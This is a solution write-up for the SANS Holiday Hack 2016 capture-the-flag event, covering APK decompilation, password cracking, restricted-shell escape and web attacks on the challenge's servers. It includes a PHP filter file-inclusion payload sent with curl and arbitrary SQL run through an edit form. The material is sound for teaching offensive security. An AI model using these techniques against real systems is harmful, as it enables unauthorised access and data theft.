SANS Holiday Hack 2016

I've recently finished off the SANS Holiday Hack 2016, and here's my solution. It was a fun and interesting set of challenges, often with the issue of being far simpler than I was actually expecting: I was aiming down a range of routes in certain challenges, only to discover that the final exploit was actually fairly trivial.

Part 1: A Most Curious Business Card

So, to begin with, we're given Santa's business card.

There are two social media profiles on there, one for Twitter and one for Instagram. The Instagram has a few miscellaneous images and one with some actual content:

What we can see is that there's a ZIP file called and a domain Let's combine the two together, then, and browse to

It exists! We get a ZIP file, which contains an APK (SantaGram_4.2.apk). Sadly, it's password protected, so we can't have a look around as of yet.

Next, we'll have a look at the Twitter account. This doesn't really seem to give me too much by the way of actual, usable information to begin with, and just looks like a bunch of random Christmas-themed words. Let's have another read of the background text, to see if there's any information hidden in there.

Josh recognized his sister's reference to last year's trouble with ATNAS Corporation and their quest to foil its criminal plot. "Awww.... That was actually great fun! We always have such wonderful holiday adventures together. I almost wish we had a Twime Machine to relive all those great Christmases of the past," Josh responded as his loose tooth wriggled in his mouth.

Twime machine... That's a strange misspelling. And also a tool which allows you to view a large chunk of the past tweets of an account. Let's have a quick look at @SantaWClaus in it.

There's text hidden in the spacing! The whole thing reads "BUG BOUNTY" - A hint for the password of the ZIP file, it seems, as it successfully unzips with the password "bugbounty". Playing with the app shows it's a client for some sort of social network, called SantaGram, which is apparently all the rage in the North Pole. Elves these days...

So, this leads us to the answers to our first two questions:

1) What is the secret message in Santa's tweets?
The secret message is "BUG BOUNTY"

2) What is inside the ZIP file distributed by Santa's team?
An Android application, for a social network called SantaGram

Part 2: Awesome Package Konveyance

Now, we'll need to investigate the app itself. APK files are basically ZIPs, so we can start by simply unzipping it. In the subdirectory res/raw, there's an audio file called "discombobulatedaudio1.mp3" - it sounds rather a lot like a time-stretched sample of somebody speaking. Let's save it for later and keep digging.

To get further, we'll need a decompilation, for which we will use
jadx - a fairly easy-to-use command line decompiler. There's also an online version of it, for those too lazy busy to wait for it to download. In com/northpolewonderland/santagram/ we see the following code:

try {  
    jSONObject.put("username", "guest");
    jSONObject.put("password", "busyreindeer78");
    jSONObject.put("type", "launch");
    jSONObject.put("model", Build.MODEL);
    jSONObject.put("sdkint", VERSION.SDK_INT);
    jSONObject.put("device", Build.DEVICE);
    jSONObject.put("product", Build.PRODUCT);
    jSONObject.put("manuf", Build.MANUFACTURER);
    jSONObject.put("lversion", System.getProperty("os.version"));
    jSONObject.put("locale", Locale.getDefault().getISO3Country());
    jSONObject.put("appVersion", getString(R.string.appVersion));
    jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id"));
    new Thread(new Runnable(this) {
        final /* synthetic */ SplashScreen b;
        public void run() {
            b.a(this.b.getString(R.string.analytics_launch_url), jSONObject);
} catch (JSONException e) {
    Log.e(TAG, "Error in postDeviceAnalyticsData: " + e.getMessage());

This posts a JSON object containing some data about the device to what turns out to be the analytics server, Two particular fields are rather eye-catching, "username" and "password". These give us credentials for the guest account on the analytics platform.

This analysis allows us to answer a couple more questions:

3) What username and password are embedded in the APK file?
The username is "guest" and the password is "busyreindeer78"

4) What is the name of the audible component (audio file) in the SantaGram APK file?
The name of the audio file is "discombobulatedaudio1.mp3"

Part 3: A Fresh-Baked Holiday Pi

Moving on, now it's time to get this Cranberry Pi - basically a Christmassy RPi knock-off. After a rather painful amount of wandering around the challenge's game-world, along with its, um, interesting soundtrack - can you tell I'm not much into that festive music thing? - I got the system together, but then I needed to find the password for the "cranpi" account on the Cranbian - basically a Christmassy Raspbian knock-off - operating system, and here's a copy of the disk image.

Cracking that password is fairly easy, just pull it out of the image's /etc/shadow and throw hashcat at it with the rockyou.txt wordlist. A few seconds later, the hash was cracked

Thus, the answer to the next question is found:

5) What is the password for the "cranpi" account on the Cranberry Pi system?
The password is "yummycookies"

So, after that, there are quite a few different cranpi terminals to play with throughout the game, each of which has to be opened in a different way

tcpdump challenge

The first one I looked at was the tcpdump challenge. It gives you a PCAP file, owned by another user. You may only run strings and tcpdump on it.

I'll be honest, the way I got this one was kinda dumb, but eh, I got it.

Start by running strings (sudo -u itchy /usr/bin/strings ./out.pcap). Near the top, you'll see a bit of HTML code:

<input type="hidden" name="part1" value="santasli" />  

Typing "santasli" into Google gets you a suggestion of "santaslittlehelper" - try it, and it's the password. Also worth noting that the two users, "itchy" and "scratchy" are the names of cartoon characters in the Simpsons, and Santa's Little Helper is the name of the family dog.

Wumpus Challenge

This one appears to just be the classic BSD wump game. We can dig up a manpage pretty easily. This lets me make the cave really small - the minimum the game would accept was 5, reduce the number of possible exits to only 2 per room, give myself a stupid number of arrows and disable bats and bottomless pits. This makes for a pretty easy game. The command line I used is ./wumpus -a 10000 -p 0 -r 5 -t 2 -b 0

The passphrase for this box is "WUMPUS IS MISUNDERSTOOD"

Doormat Challenge

This one tells us to find a file hidden deep in some directories. Let's have a quick look...

elf@73f13f6802a0:~$ find . -type f  
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt

So, we cd to .doormat, and then use a cheeky little bit of shell-foo to jump to that directory in one line: cd -- "$(find . -type f -printf '%h' -quit)"

What this does is uses find to output the directory name, in quotes, and then cd to it, ignoring any hyphens in the path, and quitting on the first result - that is, the file we want. It's then pretty easy to just read the key file and we're done

The key for this one is "open_sesame"

WarGames Challenge

This one immediately presents you with a terminal stating


A reference, of course, to that classic, WarGames

So, we find the scene on YouTube, and follow along with it in the terminal that we've got, entering the same things as Lightman, and, predictably enough, getting the same responses in turn. I shan't include a transcript here, but here's a video of the scene in question:

The key for this one is "LOOK AT THE PRETTY LIGHTS"

The train

The final panel is on the train. We're presented with a panel of some sort, which appears to be used to control the train. We can turn the brakes on or off, view the status of the train, start the train (Which is protected by a password which I simply don't know at this point) or view a help document.

The help document opens up in less, which is trivial to escape into a shell by typing !/bin/bash. We then have a quick look to see what that password was - "24fb3e89ce2aa0ea422c3d511d40dd84" - before running ./ActivateTrain. This gives us this menu:

Time travel?! Wibbly wobbly timey-wimey stuff?!

Ah well, let's go through and see what we find - a bunch of suddenly very technologically clueless elves, talking about the likes of the "Java Script" one writes after a bit too much coffee. After a bit of exploration, we stumble across Santa Claus himself, in the "DFER (Dungeon for Errant Reindeer)"

So, let's wrap this up by answering the next question:

6) How did you open each terminal door and where had the villain imprisoned Santa?
See the above for how I opened each door. Santa was imprisoned in the DFER, in 1978.

Part 4: My Gosh... It's Full of Holes

At this point, we've found Santa, so now it's time to try to pentest the SantaGram app to figure out who's behind the kidnapping. We should be able to recover an audio file from each of these targets:

  • The Mobile Analytics Server (via credentialed login access)
  • The Dungeon Game
  • The Debug Server
  • The Banner Ad Server
  • The Uncaught Exception Handler Server
  • The Mobile Analytics Server (post authentication)
Banner Ads Server (

This one is a MeteorJS-based web app, which has the ability to serve different ads and some admin pages, which I simply cannot directly access due to lack of credentials. Instead, let's start by just looking at what's available on the home page. We use Meteor Miner in order to view the various Collections/Subscriptions/Routes/etc. that the site offers:

Okay, so we see a collection called HomeQuotes and a route called /admin/quotes. Presumably, the two are connected, so browse to the route and see if anything changes...

All of a sudden, there's a new field set in the HomeQuotes collection. Open up the browser console and run HomeQuotes.find().fetch() and the path for the audio can be pulled out fairly easily.

Audio filename: "discombobulatedaudio5.mp3"

Uncaught Exception Handler Server (

Next up is the Uncaught Exception Handler. Let's have a quick look at our decompilation of the app in order to show what a 'typical' request would look like:

private void postExceptionData(Throwable th) {  
    JSONObject jSONObject = new JSONObject();
    Log.i(getString(2131165204), "Exception: sending exception data to " + getString(2131165216));
    try {
        jSONObject.put("operation", "WriteCrashDump");
        JSONObject jSONObject2 = new JSONObject();
        jSONObject2.put("message", th.getMessage());
        jSONObject2.put("lmessage", th.getLocalizedMessage());
        jSONObject2.put("strace", Log.getStackTraceString(th));
        jSONObject2.put("model", Build.MODEL);
        jSONObject2.put("sdkint", String.valueOf(VERSION.SDK_INT));
        jSONObject2.put("device", Build.DEVICE);
        jSONObject2.put("product", Build.PRODUCT);
        jSONObject2.put("lversion", System.getProperty("os.version"));
        jSONObject2.put("vmheapsz", String.valueOf(Runtime.getRuntime().totalMemory()));
        jSONObject2.put("vmallocmem", String.valueOf(Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory()));
        jSONObject2.put("vmheapszlimit", String.valueOf(Runtime.getRuntime().maxMemory()));
        jSONObject2.put("natallocmem", String.valueOf(Debug.getNativeHeapAllocatedSize()));
        jSONObject2.put("cpuusage", String.valueOf(cpuUsage()));
        jSONObject2.put("totalstor", String.valueOf(totalStorage()));
        jSONObject2.put("freestor", String.valueOf(freeStorage()));
        jSONObject2.put("busystor", String.valueOf(busyStorage()));
        jSONObject2.put("udid", Secure.getString(getContentResolver(), "android_id"));
        jSONObject.put("data", jSONObject2);
        new Thread(new C09834(this, jSONObject)).start();
    } catch (JSONException e) {
        Log.e(TAG, "Error posting message to " + getString(2131165216) + " -- " + e.getMessage());

We can use curl to probe the server, and we discover that there is a second value for "operation", "ReadCrashDump", with a "CrashDump" parameter used to specify what to read. A simple exchange would look something like this.

root@kali:~# curl -X POST -H "Content-Type:application/json" -d '{"operation" : "WriteCrashDump", "data": {"a": "1", "b": "2"}}'  
    "success" : true,
    "folder" : "docs",
    "crashdump" : "crashdump-qz2Qu5.php"
root@kali:~# curl -X POST -H "Content-Type:application/json" -d '{"operation" : "ReadCrashDump", "data": {"crashdump":"crashdump-qz2Qu5"}}'  
    "a": "1",
    "b": "2"

It seems to be saving the input as a file, then reading it back to the client on request. This could give us a chance at a Local File Inclusion attack via the "crashdump" parameter. We will leverage PHP wrappers in order to read the source of exception.php to see if we get more info:

root@kali:~# curl -X POST -H "Content-Type:application/json" -d '{"operation" : "ReadCrashDump", "data": {"crashdump":"php://filter/convert.base64-encode/resource=../exception"}}' | base64 -d  
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  3281    0  3168  100   113   9434    336 --:--:-- --:--:-- --:--:--  9456  
# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
[Snipped, because who cares about the rest ;)]

This gives us our next audio file, with the filename "discombobulated-audio-6-XyzE3N9YqKNH.mp3"

For the interested, the vulnerable line here is require($requestedCrashdump['crashdump'] . '.php');. Our request makes this line run as require("php://filter/convert.base64-encode/resource=../exception.php");, which includes a base64-encoded version of exception.php - which we then decode to acquire the source.

Debug server (

Once again, we'll begin by digging about in the app to see how this particular endpoint is used. The Java code which sends data to it looks like this:

if (z) {  
    try {
        final JSONObject jSONObject = new JSONObject();
        jSONObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime()));
        jSONObject.put("udid", Secure.getString(getContentResolver(), "android_id"));
        jSONObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
        jSONObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());
        new Thread(new Runnable(this) {
            final /* synthetic */ EditProfile b;

            public void run() {
                b.a(this.b.getString(R.string.debug_data_collection_url), jSONObject);
    } catch (Exception e) {
        Log.e(getString(R.string.TAG), "Error posting JSON debug data: " + e.getMessage());

Once again, we're posting some JSON to a PHP file on the server. Let's have a quick look at what happens when you send a request in - it's worth noting that if the request isn't properly formatted, the server will not respond.

root@kali:~# curl -X POST -H "Content-Type: application/json" -d '{"date":"201612250000000", "udid":"udid1234","debug": "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem":"0"}'  
    {"date":"20161229004040","status":"OK","filename":"debug-20161229004040-0.txt","request":{"date":"201612250000000","udid":"udid1234","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"0","verbose":false}}

Okay, so there's some sort of a parameter called "verbose". Let's see if setting it to true gives us some more information (The clue's in the name, really).

root@kali:~# curl -X POST -H "Content-Type: application/json" -d '{"date":"201612250000000", "udid":"udid1234","debug": "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem":"0", "verbose":true}'  
    {"date":"20161229004142","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161229004142-0.txt","filename.len":26,"request":{"date":"201612250000000","udid":"udid1234","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":"0","verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161229002129-0.txt","debug-20161229002354-0.txt","debug-20161229002425-0.txt","debug-20161229002447-0.txt","debug-20161229002629-0.txt","debug-20161229002742-0.txt","debug-20161229002846-0.txt","debug-20161229003745-0.txt","debug-20161229003759-0.txt","debug-20161229004040-0.txt","debug-20161229004142-0.txt","index.php"]}

A list of files is present, including our audio file, which has the file name "debug-20161224235959-0.mp3". In this case, the vulnerability is probably best described as a combination of simple information leaks, which end up giving away important information.

Dungeon Game (

This one looks a lot like a copy of another classic old game, Dungeon/Zork.

We can actually find the source code for it here, but it doesn't look like that will be of too much use here - the meat of the thing is stored in the dtextc.dat file, which encrypted to obscure the information that it stores. While it would be reasonably easy to write something to decrypt the database, it's worth actually giving the game a run through first of all.

One of the first things we need to look at, then, is what services the machine exposes - after all, we'll need to get the audio file out somehow!

root@kali:~# nmap

Starting Nmap 7.25BETA1 ( ) at 2016-12-29 15:55 GMT  
Nmap scan report for (  
Host is up (0.13s latency).  
Not shown: 997 closed ports  
22/tcp    open  ssh  
80/tcp    open  http  
11111/tcp open  vce

Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds  

Port 11111, obviously, stands out - it's not something especially normal, and doesn't make sense compared to the other ports exposed. Let's connect to it with netcat...

root@kali:~# nc 11111  
Welcome to Dungeon.            This version created 11-MAR-78\.  
You are in an open field west of a big white house with a boarded  
front door.  
There is a small wrapped mailbox here.  

It seems to be a game server! I'll pull up a walkthrough/transcript from Google, and work through it, using the GDT (In-game debugger) to disable the major threats the game can offer, just to make things that little easier. Some of the directions, however, had been changed, so things were slightly different, but after a little exploration, I found myself at the studio, when things suddenly took a bit of a Christmassy turn...

>go up chimney
You have mysteriously reached the North Pole.  
In the distance you detect the busy sounds of Santa's elves in full  

Giving the elf the painting gets us a hidden message!

>give painting to elf
The elf, satisified with the trade says -  
send email to "" for that which you seek.  

Sending an email to that address gets us a reply which contains the next audio file as an attachment. Its name is "discombobulatedaudio3.mp3"

Mobile Analytics Server (

The final machine to compromise is the mobile analytics server. On browsing to it, we're greeted with a login page:

Logging in with the credentials that we extracted from the mobile app (guest:busyreindeer78) gives us access to the analytics platform, which has the ability to create queries based on a set of parameters and view saved queries by a UUID... and the first audio file available on this particular machine, "discombobulatedaudio2.mp3"

However, beyond that, there's not a lot that we can really play with for now. We need to do some more digging. As it turns out, there's a .git directory present in the root of the web server. This stores information used by the Git repository manager. Extracting it will allow us to view the source code of the website. In order to do this, we'll use dvcs-ripper

root@kali:~/sprusage# -u  
[i] Using session name: uvcxEGfb
Checking object directories: 100% (256/256), done.  
error: 9cb2390c732b3a87db88cd6b55551ff2b1f8c0b6: invalid sha1 pointer in cache-tree  
Checking object directories: 100% (256/256), done.  
error: 3958764b53da0cefd69618a3986ce77a682b032c: invalid sha1 pointer in cache-tree  
error: a2f8cdbcbe8eeb041ff1daf9c3e68a85622a1fa9: invalid sha1 pointer in cache-tree  
error: 10261fb78b8284ccc08f74b96ef476765a19b593: invalid sha1 pointer in cache-tree  
error: 14032aabd85b43a058cfc7025dd4fa9dd325ea97: invalid sha1 pointer in cache-tree  
Checking object directories: 100% (256/256), done.  
Checking object directories: 100% (256/256), done.  
[!] No more items to fetch. That's it!
root@kali:~/sprusage# ls  
crypto.php  db.php    fonts       getaudio.php  index.php  login.php   mp3.php   sprusage.sql  this_is_html.php  uuid.php  
css         edit.php  footer.php  header.php    js         logout.php  query.php  report.php  test          this_is_json.php  view.php  

Now that we have the source code, I dig through the history in order to see if I can find any useful information. As it turns out, there are some rather interesting entries in the history of sprusage.sql

This gives us credentials for a second account - administrator:KeepWatchingTheSkies

Logging in gives us the ability to edit existing queries, referenced by their UUID. The page has options for the name and description of the query. Let's have a quick look at the source.

So, when submitting the form, we can edit any parameter of the query, not just the name and description. This is because it's simply not controlled in any way to prevent that, and will write any row that we specify. Now, let's take a quick look at the schema for reports.

"query" looks interesting, and after a little further investigation, it turns out that it stores the SQL query to be executed by the report. Therefore, by editing it through edit.php we can cause arbitrary SQL to be executed - in effect, we have a SQL injection vulnerability.

We start, then, by running SELECT * FROM audio. In order to do this, we first create and save a query - the UUID is 5a8373d4-b91f-469a-ae29-7296fc13dfb3 - and then browse to*%20FROM%20audio . This stage is what causes the query field to be updated, and then we can simply browse to in order to view the query. We can now see that there's an additional entry in the audio table - this will contain the file that we need to recover, with a name of " discombobulatedaudio7.mp3". There's only one simple problem: the MP3 itself is a MEDIUMBLOB field, which isn't actually printed when the query is run. Therefore, clearly, we need to change up our query, as the application itself will not allow us to download the MP3 with its ID.

The query I ended up settling on was `SELECT HEX(mp3) FROM audio WHERE id='3746d987-b8b1-11e6-89e1-42010af00008' - that is, return a hex dump of the MP3 from the audio table where the ID is the newly found one - the URL to update our report to this is'3746d987-b8b1-11e6-89e1-42010af00008' - viewing it gives us this hex dump, which is pretty trivial to convert back to our MP3 file. The name of this file, as noted above, should be " discombobulatedaudio7.mp3"

Part 5: Discombobulated Audio

Now that I've got all the pieces of the audio, I can attempt to unscramble the hidden message they contain. The first thing worth noting is that each audio file contains some ID3 tags, including a track number tag. This gives us the correct order in which to put them. The next thing to do is to simply join the files together and bounce them out to a single file:

I then used an audio editing tool on that concatenated version: firstly, it's quite obvious that the audio has been heavily time-stretched. I guess by about 10x, so stretch it to 0.1*current length. This makes things much more audible, but there are still some quite obvious artefacts. So, to clean it up we select a small area that sounds like only noise, use it to acquire a noise profile and denoise the rest of the audio. This makes the final audio pretty clear and easy to understand.

The audio file was a voice saying "Father Christmas. Santa Claus. Or, as I’ve always known him, Jeff.". This is a quote from the Dr. Who Christmas special of 2010, "A Christmas Carol". I still struggled with the password for that final door in the corridor for a little while, before simply trying the quote itself. It worked!

9) Who is the villain behind the nefarious plot.

Climb the Clock Tower to see that our kidnapper is...

The Doctor himself?!

10) Why had the villain abducted Santa?

Let's hear what he has to say...

<Dr. Who> - The question of the hour is this: Who nabbed Santa.  
<Dr. Who> - The answer? Yes, I did.  
<Dr. Who> - Next question: Why would anyone in his right mind kidnap Santa Claus?  
<Dr. Who> - The answer: Do I look like I'm in my right mind? I'm a madman with a box.  
<Dr. Who> - I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here.  
<Dr. Who> - Give me a world like that. Just once.  
<Dr. Who> - So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe’s timeline. So I had no choice – I had to kidnap him.  
<Dr. Who> - It was sort of one of those days.  
<Dr. Who> - Well. You know what I mean.  
<Dr. Who> - Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER.  If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time.  
<Dr. Who> - We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan.  Nice work.  

So, he did it in order to prevent the release of the Star Wars Holiday Special, it seems. And, frankly, who can blame him?